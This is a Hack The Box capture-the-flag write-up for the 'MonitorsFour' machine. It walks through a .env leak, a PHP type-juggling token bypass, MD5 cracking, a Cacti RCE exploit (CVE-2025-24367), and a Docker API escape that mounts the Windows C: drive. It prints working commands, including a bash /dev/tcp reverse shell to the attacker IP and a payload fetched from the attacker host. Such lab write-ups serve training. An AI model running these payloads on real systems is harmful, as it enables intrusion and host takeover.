HTB – MonitorsFour
HTB MonitorsFour: From Web App to Windows Host
Target: monitorsfour.htb
Difficulty: Easy
Date: December 12, 2025
This was such a fun box! It taught me about PHP type juggling vulnerabilities, Docker escapes, and how to leverage an exposed Docker API to compromise a Windows host. Let me walk you through exactly how I solved it.
Step 1: Initial Reconnaissance
First things first - let's see what we're working with.
Port Scanning
nmap -sC -sV -sT 10.10.11.98Results: Port 80 (HTTP) was open. and 5985/tcp open http syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Directory Enumeration
I fired up dirsearch to find hidden directories:
dirsearch -u http://monitorsfour.htb -x 404Jackpot! Found /.env - a configuration file that should NEVER be public. Inside were database credentials:
DB_HOST=mariadb
DB_NAME=monitorsfour_db
DB_USER=monitorsdbuser
DB_PASS=f*********💡 Pro tip: Always check for
.env,.git, and backup files. Developers forget about them all the time.
Subdomain Discovery
Next, I checked for subdomains using ffuf:
ffuf -u http://monitorsfour.htb/ -H "Host: FUZZ.monitorsfour.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-20000.txtFound: cacti.monitorsfour.htb running Cacti version 1.2.28 (a network monitoring tool).
Step 2: Exploiting PHP Type Juggling
Finding the Vulnerable Endpoint
While exploring the main site, I discovered a /user endpoint:
curl http://monitorsfour.htb/userResponse: {"error":"Missing token parameter"}
When I added a fake token:
curl http://monitorsfour.htb/user?token=AAAAResponse: {"error":"Invalid or missing token"}
Understanding PHP Type Juggling
Here's where it gets interesting. PHP has this quirk with loose comparisons (== vs ===). When developers use ==, PHP tries to convert types automatically:
"0" == 0→true"0e1234" == 0→true(scientific notation!)"" == 0→true"00" == 0→true
If the token validation uses something like if ($token == $valid_token), we can bypass it!
Testing the Bypass
I created a quick wordlist:
0
00
0e1234
0e9999
true
false
Then tested each one:
for token in 0 00 0e1234 ""; do
echo "Testing: $token"
curl -s "http://monitorsfour.htb/user?token=$token"
echo ""
doneSuccess! Multiple tokens worked: 0, 00, 0e1234, and even empty string.
Extracting User Data
curl -s "http://monitorsfour.htb/user?token=0" | python3 -m json.toolGot back a list of users with MD5 hashed passwords, including the admin user!
Step 3: Cracking the Admin Hash
Using John the Ripper
I saved the admin hash and fired up John:
echo "56b32eb43e6f15395f6c46c1c9e1cd36" > hash.txt
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash.txtCracked in 3 seconds: wonderful1
Testing the Credentials
Tried on the main site - no luck. But then I remembered the Cacti subdomain!
marcus:wonderful1 on cacti.monitorsfour.htb → Success! 🎉
Step 4: Exploiting Cacti for Initial Shell
Finding the Right Exploit
Cacti 1.2.28 was vulnerable to CVE-2025-24367 - a Graph Template Injection vulnerability. Essentially, admins can create graph templates that execute arbitrary commands through rrdtool.
Found a working PoC on GitHub:
git clone https://github.com/TheCyberGeek/CVE-2025-24367-Cacti-PoC.git
cd CVE-2025-24367-Cacti-PoCGetting a Reverse Shell
Set up my listener:
nc -lnvp 60001Ran the exploit:
python3 exploit.py -u marcus -p wonderful1 -url http://cacti.monitorsfour.htb -i 10.10.14.77 -l 60001Output:
[+] Cacti Instance Found!
[+] Login Successful!
[+] Got graph ID: 226
[+] Hit timeout, looks good for shell, check your listener!And boom! Got a shell as www-data:
www-data@821fbd6a43fa:~/html/cacti$Step 5: Container Enumeration
Initial Exploration
whoami
# www-data
hostname
# 821fbd6a43fa (Docker container!)
pwd
# /var/www/html/cactiI was inside a Docker container. Let's grab the user flag first:
cd /home/marcus
cat user.txt
# [USER FLAG CAPTURED! ✅]Network Discovery
Checked the network configuration:
ip addr show
# 172.18.0.3 (my container)
ip route
# default via 172.18.0.1 dev eth0
# 172.18.0.0/16 dev eth0
cat /etc/resolv.conf
# nameserver 127.0.0.11
# ExtServers: [host(192.168.65.7)]This revealed:
- 172.18.0.3: Cacti container (me)
- 172.18.0.2: MariaDB container
- 192.168.65.7: Docker host (Windows!)
Scanning the Host
I needed a network scanner. Downloaded fscan to the container:
# On my Kali
wget https://github.com/shadow1ng/fscan/releases/download/1.8.1/fscan_amd64 -O /tmp/fscan
chmod +x /tmp/fscan
python3 -m http.server 8000
# On target
curl http://10.10.14.77:8000/fscan -o /tmp/fscan
chmod +x /tmp/fscanRan the scan:
/tmp/fscan -h 192.168.65.7 -p 2375-2380,22,80,443,3389,5985,5986,8080-8081,9000-9001 -np -t 200Critical finding:
192.168.65.7:2375 open
[+] http://192.168.65.7:2375 poc-yaml-docker-api-unauthorized-rcePort 2375 = Unauthenticated Docker API! This is our ticket to the host.
Step 6: Docker API Escape (CVE-2025-9074)
Understanding the Vulnerability
Docker Desktop for Windows (older versions) exposes the Docker daemon on port 2375 within the WSL2 network. This lets ANY container control the Docker engine.
The attack plan:
- Create a new privileged container
- Mount the Windows C: drive inside it
- Get a reverse shell with full host access
Verifying Docker API Access
curl -s http://192.168.65.7:2375/version
# Got version info - API is wide open!Listing Available Images
curl -s http://192.168.65.7:2375/images/jsonFound: docker_setup-nginx-php:latest
Creating the Malicious Container
Set up another listener on my Kali:
nc -lnvp 60002Created a JSON payload to mount the host's C: drive:
YOUR_IP="10.10.14.77"
curl -H 'Content-Type: application/json' \
-d "{\"Image\":\"docker_setup-nginx-php:latest\",\"Cmd\":[\"/bin/bash\",\"-c\",\"bash -i >& /dev/tcp/$YOUR_IP/60002 0>&1\"],\"HostConfig\":{\"Binds\":[\"/mnt/host/c:/host_root\"]}}" \
http://192.168.65.7:2375/containers/create -o response.jsonGot back a container ID. Started it:
# Extract container ID from response
cid=$(grep -o '"Id":"[^"]*"' response.json | cut -d'"' -f4)
# Start the container
curl -X POST http://192.168.65.7:2375/containers/$cid/startStep 7: Root Flag Capture
Getting the Privileged Shell
My listener caught the connection:
nc -lnvp 60002
# Connection from 10.10.11.98
root@5d42e10b2055:/var/www/html#I'm now root with the entire Windows C: drive mounted at /host_root!
Finding the Root Flag
ls /host_root/Users/Administrator/Desktop/
# desktop.ini root.txtThere it is! Reading it:
head /host_root/Users/Administrator/Desktop/root.txt
# [ROOT FLAG CAPTURED! ✅]📝 Note: I used
headinstead ofcatdue to some terminal encoding issues.
Summary of Tools Used
| Tool | Purpose |
|---|---|
| Nmap | Port scanning |
| Dirsearch | Directory enumeration |
| FFUF | Subdomain fuzzing |
| cURL | API testing and exploitation |
| John the Ripper | Password cracking |
| Netcat | Reverse shells |
| fscan | Network scanning from container |
| CVE-2025-24367 Exploit | Cacti RCE |
| Docker API | Container escape |
Attack Chain Visualization
1. .env file leak → DB credentials
2. PHP type juggling → User data dump
3. MD5 crack → Cacti access (marcus:wonderful1)
4. CVE-2025-24367 → Shell as www-data in container
5. Network scan → Docker API on port 2375
6. Docker API abuse → Privileged container with C: mount
7. Root shell → Complete Windows host compromiseHappy hacking! 🚀
Was this writeup helpful?
8 readers found this helpful
Comments
No comments yet — be the first to share your thoughts.